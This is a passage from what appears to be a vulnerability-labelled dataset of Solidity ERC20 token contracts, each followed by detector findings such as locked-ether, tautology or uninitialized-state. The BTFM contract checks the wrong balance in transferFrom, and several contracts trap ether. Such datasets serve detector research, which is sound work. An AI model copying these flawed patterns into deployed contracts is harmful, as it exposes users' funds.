* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// CityToken with Governance.
contract WarsawCityToken is ERC20("WARSAW.cityswap.io", "WARSAW"), Ownable {
uint256 public constant MAX_SUPPLY = 1699000 * 10**18;
/**
* @notice Creates `_amount` token to `_to`. Must only be called by the owner (TravelAgency).
*/
function mint(address _to, uint256 _amount) public onlyOwner {
uint256 _totalSupply = totalSupply();
if(_totalSupply.add(_amount) > MAX_SUPPLY) {
_amount = MAX_SUPPLY.sub(_totalSupply);
}
require(_totalSupply.add(_amount) <= MAX_SUPPLY);
_mint(_to, _amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BTFM is ERC20Interface {
uint256 public constant decimals = 5;
string public constant symbol = "BTFM";
string public constant name = "BiTing";
uint256 public _totalSupply = 10 ** 16;
// Owner of this contract
address public owner;
// Balances BTFM for each account
mapping(address => uint256) private balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) private allowed;
// List of approved investors
mapping(address => bool) private approvedInvestorList;
// deposit
mapping(address => uint256) private deposit;
// totalTokenSold
uint256 public totalTokenSold = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
/// @dev Constructor
function BTFM()
public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
/// @dev Gets totalSupply
/// @return Total supply
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
/// @dev Gets account's balance
/// @param _addr Address of the account
/// @return Account balance
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
/// @dev check address is approved investor
/// @param _addr address
function isApprovedInvestor(address _addr)
public
constant
returns (bool) {
return approvedInvestorList[_addr];
}
/// @dev get ETH deposit
/// @param _addr address get deposit
/// @return amount deposit of an buyer
function getDeposit(address _addr)
public
constant
returns(uint256){
return deposit[_addr];
}
/// @dev Transfers the balance from msg.sender to an account
/// @param _to Recipient address
/// @param _amount Transfered amount in unit
/// @return Transfer status
function transfer(address _to, uint256 _amount)
public
returns (bool) {
// if sender's balance has enough unit and amount >= 0,
// and the sum is not overflow,
// then do transfer
require(_to != address(0));
require(_amount <= balances[msg.sender]);
require(_amount >= 0);
if ( (balances[msg.sender] >= _amount) &&
(_amount >= 0) &&
(balances[_to] + _amount > balances[_to]) ) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
require(_amount >= 0);
if (balances[_from] >= _amount && _amount > 0 && allowed[_from][msg.sender] >= _amount) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount)
public
returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
// get allowance
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () public payable{
revert();
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) tautology with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT883331' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT883331
// Name : ADZbuzz Bookriot.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT883331";
name = "ADZbuzz Bookriot.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT694971' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT694971
// Name : ADZbuzz Businesstimes.com.sg Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT694971";
name = "ADZbuzz Businesstimes.com.sg Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'RespectX' token contract
//
// Deployed to : 0xf69469EcF3C61B16Fa7fADD75A8Adc68C962bdEe
// Symbol : RSPx
// Name : RespectX
// Total supply: 3690
// Decimals : 6
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract RespectX is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "RSPx";
name = "Respect Token";
decimals = 6;
_totalSupply = 3690000000;
balances[0xf69469EcF3C61B16Fa7fADD75A8Adc68C962bdEe] = _totalSupply;
emit Transfer(address(0), 0xf69469EcF3C61B16Fa7fADD75A8Adc68C962bdEe, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
//Safe Math Interface
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
//ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
//Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Actual token contract
contract QKCToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "CORGI";
name = "Corgi Inu";
decimals = 10;
_totalSupply = 100000000000000000000000;
balances[0xCD99527dADF1857ab89b5d92650E944994F4FCDD] = _totalSupply;
